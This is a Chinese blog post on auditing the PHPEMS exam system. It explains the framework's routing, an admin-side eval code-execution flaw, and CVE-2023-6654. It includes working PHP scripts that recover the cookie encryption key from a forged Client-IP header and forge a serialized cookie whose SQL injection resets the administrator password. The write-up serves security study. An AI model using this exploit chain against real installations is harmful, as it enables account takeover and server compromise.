代码审计初探

学会了基础的代码审计后,就该提高一下了,学一下一些框架的php代码审计

先从一些小众的、已知存在漏洞的cms入手

phpems php的一款开源考试系统

源码下载
https://down.chinaz.com/soft/34597.htm

环境部署

windows审计,把相关文件放到phpstudy的web目录下

给了一个sql文件,mysql创建一个数据库,在sql文件开始部分加上 use 数据库名。然后navicat或者其他图形化,运行所给sql文件,然后修改一下lib/config.inc.php中的关于数据库的设置就部署完毕

访问首页,正常显示就是ok(上面的输出是我自己在源码中加的)

正常调用

如果是做题的话,其实可以直接跳过这步,直接seay扫一下,看看可疑的地方,现在是练习,所以我可以捋一下正常的代码调用流程

以在前台查看内容为例

首先肯定要看web目录下的index.php

![[代码审计学习-4.png]]

包含了/lib/init.cls.php,lib目录下有很多实现功能的基本类, \PHPEMS\ginko 这个类就在这个php文件里,是这个框架的核心控制器,\PHPEMS是命名空间,

看看这个类的run方法

php 复制代码
public function run()  
    {          
       //static public $defaultApp = 'core';
        self::$app = self::$defaultApp;  
        $ev = self::make('ev');  
        if($ev->url(0))  
        {  
            self::$app = $ev->url(0);  
        }  
        self::$module = $ev->url(1);  
        self::$method = $ev->url(2);  
        //要包含的文件,不指定默认先在/app/index里找  
       if(!self::$module)self::$module = 'app';  
       if(!self::$method)self::$method = 'index';  
       include PEPATH.'/app/'.self::$app.'/'.self::$module.'.php';  
         
       $modulefile = PEPATH.'/app/'.self::$app.'/controller/'.self::$method.'.'.self::$module.'.php';  
        echo "<br>";  
        echo "要包含的module文件:".$modulefile;  
        //  
       if(file_exists($modulefile))  
       {          
          include $modulefile;           
          $tpl = self::make('tpl');  
            //给tpl对象的$tpl_var数组属性赋值  
          $tpl->assign('_app',self::$app);  
          $tpl->assign('method',self::$method);  
          $run = new action();  
//            var_dump($run);  
          $run->display();  
       }  
       else die('error:Unknown app to load, the app is '.self::$app);  
    }

defaultapp就是字符串core,调用了make('ev'),看看在干嘛

![[代码审计学习-5.png]]
$app若有设置,则调用load方法,加载配置文件,

php 复制代码
//加载对象类文件并生成对象  
   /**  
    * @param $G  
    * @param null $app  
    * @return static  
    */   static public function load($G,$app)  
{  
    if(!$app)return false;  
    $o = $G.'_'.$app;  
    //$L是空数组,第一次加载后就放入做为缓存,下次调用就直接从这里取,不用再去包含对应文件
    if(!isset(self::$L[$app][$o]))  
    {  
       $fl = PEPATH.'/app/'.$app.'/cls/'.$G.'.cls.php';  
       if(file_exists($fl))  
       {  
          include $fl;  
       }  
       else return false;  
           $clsname = '\\PHPEMS\\'.$o;  
           self::$L[$app][$o] = new $clsname();  
       if(method_exists(self::$L[$app][$o],'_init'))self::$L[$app][$o]->_init();  
    }  
    return self::$L[$app][$o];  
}

审计一下可知,会先检查一下缓存数组是否有了对应的类,如有直接返回,没有的话,就会去包含对应的php文件,然后实例化对应的类,有__init方法就执行次方法

然后再回到make方法,看else分支,是不是跟load很像,

所以这里的逻辑就是如果指定了app,就包含对应的app的目录,没有就去包含lib下的比较基本的类

文件目录

![[代码审计学习-6.png]]

再回到run方法,调用了make('ev')->url(0),url在这个类的构造方法中设置了

php 复制代码
public function __construct()  
   {  
    $this->strings = \PHPEMS\ginkgo::make('strings');  
    if (ini_get('magic_quotes_gpc')) {  
       $get    = $this->stripSlashes($_REQUEST);  
       $post   = $this->stripSlashes($_POST);  
       $this->cookie = $this->stripSlashes($_COOKIE);  
    } else {  
       $get    = $_REQUEST;  
       $post   = $_POST;  
       $this->cookie = $_COOKIE;  
    }  
  
    $this->file = $_FILES;  
    $this->get = $this->initData($get);  
    $this->post = $this->initData($post);  
    $this->url = $this->parseUrl();  
    $this->cookie = $this->initData($this->cookie);  
   }

可以看到,这个ev类就是用来接受并预处理服务器接受到的全局变量,跟进parseUrl方法

php 复制代码
public function parseUrl()  
{  
    if(isset($_REQUEST['route']))  
    {  
       $r = explode('-',$_REQUEST['route']);  
       foreach($r as $key => $p)  
       {  
          $r[$key] = urlencode($p);  
       }  
    }  
    elseif(isset($_SERVER['QUERY_STRING']))  
    {  
       $tmp = explode('#',$_SERVER['QUERY_STRING'],2);  
       $tp = explode('&',$tmp[0],2);  
       $r = explode('-',$tp[0]);  
       foreach($r as $key => $p)  
       {  
          $r[$key] = urlencode($p);  
       }  
    }  
  
    else {  
       return false;  
    }  
       if(!$r[0] || !file_exists('app/'.$r[0].'/'))  
       {  
           $r[0] = \PHPEMS\ginkgo::$defaultApp;  
       }  
    if(!file_exists('app/'.$r[0].'/'.$r[1].'.php') || $r[1] == 'auto')  
    {  
       $r[1] = 'app';  
    }  
    if(!file_exists('app/'.$r[0].'/controller/'.$r[2].'.'.$r[1].'.php'))  
    {  
       $r[2] = 'index';  
    }  
       if($r[1] == 'app' && $this->isMobile())  
    {  
           $r[1] = 'phone';  
    }  
    if(!$r[3])$r[3] = 'index';  
    if(substr($r[3],0,1) == '_')$r[3] = 'index';  
    echo "url解析结果:"."<br>";  
    var_dump($r);  
    echo "\n";  
       return $r;  
}

非常长,前面首页显示的改动就在这里

可以看到这是对$_REQUEST$_SERVER['QUERY_STRING']的处理,前者是包含了get、post、cookie传的变量,后者是url中中的?后面的部分

对查询参数用# & -来分割(explode方法),我只访问了?content,因此得到的三个数组都是只有一个元素content

后面三个file_exist是判断有没有对应的模块,没有则设置成默认的,这里$r只有一个元素content,因此$r[1] $r[2] $r[3] 都被设置成了默认的选项

再回到run方法,这里就可以包含到对应的文件了

包含了之后,实例化tpl这类,这个类就是用来渲染前端的页面的

所以这个要加载什么类,是通过对查询参数的分割来确定的,然后用tpl渲染对应的前端

漏洞代码

后台rce

后台存在rce的漏洞,seay很快就扫到漏洞点

php 复制代码
public function _init()  
{  
    $this->sql = \PHPEMS\ginkgo::make('sql');  
    $this->pdosql = \PHPEMS\ginkgo::make('pdosql');  
    $this->db = \PHPEMS\ginkgo::make('pepdo');  
    $this->tpl = \PHPEMS\ginkgo::make('tpl');  
    $this->pg = \PHPEMS\ginkgo::make('pg');  
    $this->ev = \PHPEMS\ginkgo::make('ev');  
    $this->files = \PHPEMS\ginkgo::make('files');  
    $this->category = \PHPEMS\ginkgo::make('category');  
    $this->content = \PHPEMS\ginkgo::make('content','content');  
    //block
    $this->block = \PHPEMS\ginkgo::make('block','content');  
    $this->tpl_var = &$this->tpl->tpl_var;  
}

public function parseBlock($blockid)  
    {  
       $block = $this->block->getBlockById($blockid);  
       if($block['blocktype'] == 1)  
       {  
          echo html_entity_decode($block['blockcontent']['content']);  
       }  
       elseif($block['blocktype'] == 2)  
       {  
          if($block['blockcontent']['app'] == 'content')  
          {  
             $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);  
             $blockdata = $this->_getBlockContentList($args);  
             $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));  
             $blockcat = $this->category->getCategoryById($block['blockcontent']['catid']);  
             $blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid'])));  
             eval(' ?>'.$tp.'<?php  
 namespace PHPEMS; ');  
          }  
          else  
          {  
             $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']);  
             $obj = \PHPEMS\ginkgo::make('api',$block['blockcontent']['app']);  
             if(method_exists($obj,'parseBlock'))  
             $blockdata = $obj->parseBlock($args);  
             else  
             return false;  
          }  
          return true;  
       }  
       elseif($block['blocktype'] == 3)  
       {  
          if($block['blockcontent']['sql'])  
          {  
             $sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql']));  
          }  
          else  
          {  
             $tables = array_filter(explode(',',$block['blockcontent']['dbtable']));  
             $querys = array_filter(explode("\n",str_replace("\r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query'])))));  
             $args = array();  
             foreach($querys as $p)  
             {  
                $a = explode('|',$p);  
                if($a[3])  
                {  
                   if($a[3][0] == '$')  
                   {  
                      $s = stripos($a[3],'[');  
                      $k = substr($a[3],1,$s-1);  
                      $v = substr($a[3],$s,(strlen($a[3]) - $s));  
                      $execode = "\$a[3] = \"{\$this->tpl_var['$k']$v}\";";  
                   }  
                   else  
                   {  
                      $k = substr($a[3],2,(strlen($a[3]) - 2));  
                      $execode = "\$a[3] = \"{\$$k}\";";  
                   }  
                   eval($execode);  
                }  
                $args[] = $a;  
             }  
  
             $data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']);  
             $sql = $this->pdosql->makeSelect($data);  
          }  
          $blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false);  
          $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template'])));  
          eval(' ?>'.$tp.'<?php  
 namespace PHPEMS; ');  
          return true;  
       }  
       elseif($block['blocktype'] == 4)  
       {  
          $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content'])));  
          eval(' ?>'.$tp.'<?php  
 namespace PHPEMS; ');  
       }  
       else  
       return false;  
    }  
}

parseBlock这个函数,当blocktype为2 3 4时,都有存在eval来执行$tp,先找$tp是如何获取的,这里以4为例子分析(偷懒),其他的原理也都差不多,有兴趣的可以自己去分析

前面也提到ev是处理全局变量的,定位stripSlashes方法

注释中提到了,这个方法用来去除转义字符\,而html_entity_decode是php内置函数把 HTML 实体转换为字符

传入的数据是$block['blockcontent']['content'],block是$this->block->getBlockById获取的,block是make('block','content')加载的类

来看看这个make方法

这一次指定了app,所以会调用load方法,看一下

跟上面的正常调用差不多,包含对应的文件,然后生成这个类,这里$o=block_content,包含了/app/content/cls/block.cls.php,block_content类应该也在这里了,去看看

确实在这里,同时发现了getBlockById方法

可以看出,blockcotent是从数据库中取出的,在数据库中也有个x2_block表

blockcontent一看就是序列化的内容,在$this->db->fetch中,也有反序列化的操作

php 复制代码
public function fetch($sql,$unserialize = false)  
  {  
    if(!is_array($sql))return false;  
    if(!$this->linkid)$this->connect();  
    $query = $this->linkid->prepare($sql['sql']);  
    $rs = $query->execute($sql['v']);  
    $this->_log($sql,$query);  
    if ($rs) {  
    $query->setFetchMode(\PDO::FETCH_ASSOC);  
    $tmp = $query->fetch();  
    if($tmp)  
    {  
        if($unserialize)  
       {  
          if(is_array($unserialize))  
          {  
             foreach($unserialize as $value)  
             {  
                $tmp[$value] = unserialize($tmp[$value]);  
             }  
          }  
          else $tmp[$unserialize] = unserialize($tmp[$unserialize]);  
       }  
    }  
    return $tmp;  
}  
else  
return false;  
  }

makeselect就是构造查询的sql语句,有兴趣的可以自己去跟一下

所以这个$tp的内容就是从数据库中取出的,用id参数查询

再来看,这个在parseBlock在哪调用, /lib/tpl.cls.php中(管理渲染前端的自定义基本类),

php 复制代码
public function exeBlock($id)  
{  
    \PHPEMS\ginkgo::make('api','content')->parseBlock($id);  
}

找exeBlock,在渲染前端注册的页面 中调用了,

但是这里传入的id是1,由上面的代码可知,1只是echo输出,2,3,4才有eval

很巧的是,/app/content那里翻了一下,在/controller/block.master.php中,有个change方法可以改id

php 复制代码
private function change()  
{  
    $blockid = $this->ev->get('blockid');  
    $blocktype = $this->ev->get('blocktype');  
    $this->block->modifyBlock($blockid,array('blocktype' => $blocktype));  
    $message = array(  
       'statusCode' => 200,  
       "message" => "操作成功",  
        "target" => "",  
        "rel" => "",  
        "callbackType" => "forward",  
        "forwardUrl" => "index.php?content-master-blocks&page={$page}"  
    );  
    exit(json_encode($message));  
}

在这个系统,跟master相关就是后台管理相关的功能了,

在后台的内容管理找到了这个功能

这里改成最下面的模板模式,blockid为4,就会走到上面分析的流程,然后点击修改,插入php代码即可

![[代码审计学习-17.png]]

有个小细节,就是 那个eval中,除了$tp后面还加上了个<?php namespace PHPEMS;,那我们构造的php代码中也要在开头声明一个namespace,

php规范中,如果有namespace声明,必须在开头就有一个 ,否在会报错

然后保存,去前台注册就发现命令执行成功

其实这个rce漏洞要后台才能触发,危害也不是很大,毕竟这个后台还有个增加文件上传后缀的功能,增加个php,直接传shell都行

毕竟正常情况后台都不好进

但是上网搜索过这个框架后,发现这个管理员的密码是可以通过反序列化打sql注入修改的(CVE-2023-6654) ,就可以直接进后台,这就扩大了危害,

西湖论剑2024也考了这个cve,接下来就分析分析

前台修改管理员密码

触发反序列化

前面我在看正常调用时就发现cookie鉴权这里有反序列化点的,还想找pop链rce来着,但失败了,没想到可以打sql注入

用于会话管理、鉴权的是session类,php文件是/lib/session.cls.php,在构造方法中就调用了getSessionId,其他模块的构造方法中都会实例化这个类

所以getSessionId是很容易触发的

php 复制代码
public function getSessionId()  
{  
    if(!$this->sessionid)  
    {  
        $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname));  
        if($cookie)  
        {  
            $this->sessionid = $cookie['sessionid'];  
        }  
    }  
    if(!$this->sessionid)  
    {  
        $this->_getOnlySessionid();  
        $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp()));  
    }  
    if(!$this->getSessionValue())  
    {  
        $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp()));  
    }  
    return $this->sessionid;  
}

getSessionId这里对cookie中获取的信息,进行解密,然后反序列化
因此cookie中存储的是序列化后的数据

php 复制代码
public function decode($info)  
{  
    $key = CS;  
    $info = urldecode($info);  
    $kl = strlen($key);  
    $il = strlen($info);  
    for($i = 0; $i < $il; $i++)  
    {  
       $p = $i%$kl;  
       $info[$i] = chr(ord($info[$i])-ord($key[$p]));  
    }  
    $info = unserialize($info);  
    return $info;  
}

反序列化很容易触发,现在要来看怎么造成sql注入

sql注入

全局搜索__destruct

在session类中

php 复制代码
public function __destruct()  
{  
    $data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));  
    $sql = $this->pdosql->makeUpdate($data);  
    $this->db->exec($sql);  
    if(rand(0,5) > 4)  
    {  
       $data = array('session',array(array('AND',"sessionlasttime <= :sessionlasttime","sessionlasttime",intval((TIME - 3600*24*3)))));  
    $sql = $this->pdosql->makeDelete($data);  
    $this->db->exec($sql);  
    }  
}

这里会makeupdate,顾名思义构造一个update的sql语句,然后exec中,跟进makeupdate看看

php 复制代码
public function makeUpdate($args,$tablepre = NULL)  
{  
    if(!is_array($args))return false;  
    if($tablepre === NULL)$tb_pre = $this->tablepre;  
    else $tb_pre = $tablepre;  
    $tables = $args[0];  
    $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]);  
    if(is_array($tables))  
    {  
       $db_tables = array();  
       foreach($tables as $p)  
       {  
          $db_tables[] = "{$tb_pre}{$p} AS $p";  
       }  
       $db_tables = implode(',',$db_tables);  
    }  
    else  
    $db_tables = $tb_pre.$tables;  
    $v = array();  
  
    $pars = $args[1];  
    if(!is_array($pars))return false;  
    $parsql = array();  
    foreach($pars as $key => $value)  
    {  
       $parsql[] = $key.' = '.':'.$key;  
       if(is_array($value))$value = serialize($value);  
       $v[$key] = $value;  
    }  
    $parsql = implode(',',$parsql);  
  
    $query = $args[2];  
    if(!is_array($query))$db_query = 1;  
    else  
    {  
       $q = array();  
       foreach($query as $p)  
       {  
          $q[] = $p[0].' '.$p[1].' ';  
          if(isset($p[2]))  
          $v[$p[2]] = $p[3];  
       }  
       $db_query = '1 '.implode(' ',$q);  
    }  
    if(isset($args[3]))  
    $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3];  
    else  
    $db_groups = '';  
    if(isset($args[4]))  
    $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4];  
    else  
    $db_orders = '';  
    if(isset($args[5]))  
    $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5];  
    else  
    $db_limits = '';  
    if($db_limits == false && $db_limits !== false)$db_limits = $this->_mostlimits;  
    $db_groups = $db_groups?' GROUP BY '.$db_groups:'';  
    $db_orders = $db_orders?' ORDER BY '.$db_orders:'';  
    $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits;  
    return array('sql' => $sql, 'v' => $v);  
}

前面的一长串的构造参数的过程,最后拼接到$sql这查询语句中,看到直接拼接难道直接有sql注入?其实并没有。上面传进去的参数中

php 复制代码
$data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));  

参数使用了sessionid = :sessionid,这在pdosql中就是预编译的写法,那咋还能注入呢?

非常的巧妙,大佬们找到了其他注入的地方,

在构造表名$db_tables和类的属性$this->tablepre直接进行了拼接,这里并没有预编译,如果我们能控制反序列化的过程,那不就可以设置这个属性吗,直接设置为

sql 复制代码
x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--

拼接进去就是

sql 复制代码
update x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--(其他参数)

这不就把管理员密码改了吗,

本地搭建项目,就可知这个框架的密码加密就是md5,因此这里设置为123456的md5就行

但是前面也提到了,这个cookie是加密的,反序列化前要经过一次解密操作,我们要把这个加密的逻辑搞清楚才行

逆向cookie加密的key

在/lib/string.cls.php中,查看encode和decode代码

php 复制代码
public function encode($info)  
{  
    $info = serialize($info);  
    $key = CS;  
    $kl = strlen($key);  
    $il = strlen($info);  
    for($i = 0; $i < $il; $i++)  
    {  
       $p = $i%$kl;  
       $info[$i] = chr(ord($info[$i])+ord($key[$p]));  
    }  
    return urlencode($info);  
}  
  
public function decode($info)  
{  
    $key = CS;  
    $info = urldecode($info);  
    $kl = strlen($key);  
    $il = strlen($info);  
    for($i = 0; $i < $il; $i++)  
    {  
       $p = $i%$kl;  
       $info[$i] = chr(ord($info[$i])-ord($key[$p]));  
    }  
    $info = unserialize($info);  
    return $info;  
}

可以看到,加密的逻辑很简单,循环加上key的ascii码再用chr取字符,然后url编码,解密就是循环减,这key的定义在配置文件config.inc.php中

这里也提示了,要生成32位的字符串来替换key,如果能找到已知的连续32位的密文,再减去对应位置的32位明文 ,key不就出了么
因此要寻找cookie里我们可以控制的变量,从而控制某一部分32位的明文

先要用本地的key解密一下cookie看看,序列化数据结构是什么样,(这个cookie是未登录的cookie)

这里二次url编码的,所以解密时还要再url解码一次

php 复制代码
<?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');
 function encode($info)
{
    $info = serialize($info);
    $key = CS;
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
        $p = $i%$kl;
        $info[$i] = chr(ord($info[$i])+ord($key[$p]));
    }
    return urlencode($info);
}

 function decode($info)
{
    $key = CS;
    $info = urldecode($info);
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
        $p = $i%$kl;
        $info[$i] = chr(ord($info[$i])-ord($key[$p]));
    }
//    $info = unserialize($info);
    return $info;
}
$cookie="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%2586%2583%25C3%2598%2594%2599%25D5%25CB%25A8%259C%25DA%259F%25C6%25AA%2585%25AD%25D7%259C%25A9%25A2%25B5%25A9r%259Ag%25A6%25D3%259AR%25DF%25A8%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25AC%257C%2597%2584%257B%2591jj%25A3%25EE";
 echo decode(urldecode($cookie));
//a:8:a:3:{s:9:"sessionid";s:32:"658ebc1de0ff6c335c639a99f70e31fe";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1739930349;}

可以看到没登陆的cookie数据设置,有sessionid sessionip sessiontimelimit 三个字段,审计一下session类,发现只有第二个sessionip是可以控制伪造的

sessionid 是一堆参数(还包含了随机数)的md5

sessiontimelimit是时间戳,TIME在config.inc.php中定义为time()

sessionip

跟进这个方法

php 复制代码
public function getClientIp()  
{  
    if(!isset($this->e['ip']))  
    {  
       if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))  
          $ip = getenv("HTTP_CLIENT_IP");  
       else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))  
          $ip = getenv("HTTP_X_FORWARDED_FOR");  
       else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))  
          $ip = getenv("REMOTE_ADDR");  
       else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))  
          $ip = $_SERVER['REMOTE_ADDR'];  
       else  
          $ip = "unknown";  
       $this->e['ip'] = $ip;  
    }  
    return $this->e['ip'];  
}

REMOTE_ADDR是伪造不了的,但是它先检测HTTP_CLIENT_IP,以HTTP开头都是可以伪造的,在http报文中加入相应的键值对即可,比如HTTP_CLIENT_IP就构造CLIENT-IP,可以本地试试,在decode那里加上 echo $info

伪造成功,所以可以通过部分的已知明文来推key,选取序列化中表示sessionip的部分(32位)

由于前后的数据部分长度都是固定的,所以可以通过下标来动态截取满足32位的长度

php 复制代码
<?php  
function reverse($payload1,$payload2)  
{  
    $il = strlen($payload1);  
    $key= "";  
    $kl = 32;  
    for($i = 0; $i <$kl; $i++)  
    {  
        $p = $i%$kl;  
        $key .= chr(ord($payload1[$i])-ord($payload2[$p]));  
    }  
    return $key;  
}  
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2595%25B4%2581%2596f%2594%25CA%25A7%259F%25ADk%25D8%259B%25C6%25DD%25B8%25D9%25A6%25C9%25AC%259E%2584%25A8%259Af%2596%25D8%25A4%259E%2587%25ACx%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%259A%2589%25AA%255Bei%25A8%259C%2598W%25B1q%258F%2589%257F%258Cgf%2598%2593%25A1%25EBp%25A5%259F%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25E4%25A2%25A1%2595%25E2%25D7%25D4%258A%25EDe%2599%25BA%2585%258Fmd%25A1%25AA%2599%25AAk%25AA%25A2%259E%25F4";  
$info = urldecode($info);  
$info = urldecode($info);  
$know=':"sessionip";s:15:"192.168.184.1';  
//
$info = substr($info,64,32);  
echo reverse($info,$know);

成功把本地的key推了出来

把这个框架放到我虚拟机上,改一下key,看能不能推出来,部署过程跟上面一致,也是访问首页拿没登陆的cookie

然后用脚本推key

php 复制代码
<?php  
function reverse($payload1,$payload2)  
{  
    $il = strlen($payload1);  
    $key= "";  
    $kl = 32;  
    for($i = 0; $i <$kl; $i++)  
    {  
        $p = $i%$kl;  
        $key .= chr(ord($payload1[$i])-ord($payload2[$p]));  
    }  
    return $key;  
}  
//利用伪造的ip,来构造已知的明文
function  get_know($ip='127.0.0.1')  
{  
    $pre=':"sessionip";s:';  
    $end='";s:16:"sessiontimelimit";i:';  
    $pre=$pre.strlen($ip).':"'.$ip;  
    if(strlen($pre)>32)  
    {  
        return substr($pre,0,32);  
    }  
    if (strlen($pre)<32) {  
        $target = $pre . substr($end, 0, 32 - strlen($pre));  
        return $target;  
    }  
    return $pre;  
  
}  
  
$info="%2599%259D%2598r%25E1%25AArinT%25D7%25CA%25A4%25A4%25CA%25D5%25CF%259C%2596Vt%25A4sd%2595p%2586q%259Bk%2591%2594m%2594%259E%259E%25CA%2598%259Bff%2596%25C6%2598%2594a%2593%2599%2592%2595kmr%2594ii%2595%2597%259BZ%259D%25A9j%259Dr%2585%25D8%259D%25D9%25AA%25A1%259F%25A2%259B%25D4%2587l%25A4%259B%259F%259BUcfp_i_%2593d%2595Z%259D%25A9j%2595n%259D%2587%25AB%25CB%25AA%25AB%2599%25A3%25A0%25D8%25CE%259E%2596%25CD%25CF%25CE%259C%25A6Vt%259Asb%259Ai%259Dq%2596fa%2597i%259E%25E2";  
$info = urldecode($info);  
$info = urldecode($info);  
$know=get_know();  
截取序列化字符串密文中关于sessionip的内容(前开的sessionid长度固定,所以可以直接通过下标截取)  
$info = substr($info,64,32);  
echo reverse($info,$know);

也是逆出来了

构造恶意序列化数据

然后利用这个key,去构造恶意的序列化数据,看看有什么属性要设置,确保反序列化过程可以走通就行

php 复制代码
<?php
namespace PHPEMS;

class session
{
   public function __construct()
   {
       $this->sessionid='1';
       $this->pdosql=new pdosql();
       $this->db=new pepdo();
   }
}

class pdosql
{

    public function __construct()
    {
        $this->tablepre='x2_user set userpassword="202cb962ac59075b964b07152d234b70" where username="peadmin";#--';
        $this->db=new pepdo();
    }

}

class pepdo
{
    private $linkid=0;
}
function encode($info)
{
    $info = serialize($info);
    $key = '8ce8f78042de11afa3249191c6d8b60d';
    $kl = strlen($key);
    $il = strlen($info);
    for($i = 0; $i < $il; $i++)
    {
        $p = $i%$kl;
        $info[$i] = chr(ord($info[$i])+ord($key[$p]));
    }
    return urlencode(urlencode($info));
}
$a=new session();
$exp=array("sessionid"=>"123123",$a);
echo "\n";
echo encode(($exp));

管理员密码修改成功

就可以进后台rce了

相关推荐
时光追逐者16 分钟前
MongoDB从入门到实战之MongoDB快速入门(附带学习路线图)
数据库·学习·mongodb
一弓虽21 分钟前
SpringBoot 学习
java·spring boot·后端·学习
genggeng不会代码2 小时前
用于协同显著目标检测的小组协作学习 2021 GCoNet(总结)
学习
星哥说事2 小时前
使用开源免费雷池WAF防火墙,接入保护你的网站
web安全·开源
浩浩测试一下2 小时前
计算机网络中的DHCP是什么呀? 详情解答
android·网络·计算机网络·安全·web安全·网络安全·安全架构
搞机小能手2 小时前
六个能够白嫖学习资料的网站
笔记·学习·分类
The_cute_cat5 小时前
25.4.22学习总结
学习
浩浩测试一下5 小时前
SQL注入高级绕过手法汇总 重点
数据库·sql·安全·web安全·网络安全·oracle·安全架构
冰茶_5 小时前
.NET MAUI 发展历程:从 Xamarin 到现代跨平台应用开发框架
学习·microsoft·微软·c#·.net·xamarin
帅云毅6 小时前
Web3.0的认知补充(去中心化)
笔记·学习·web3·去中心化·区块链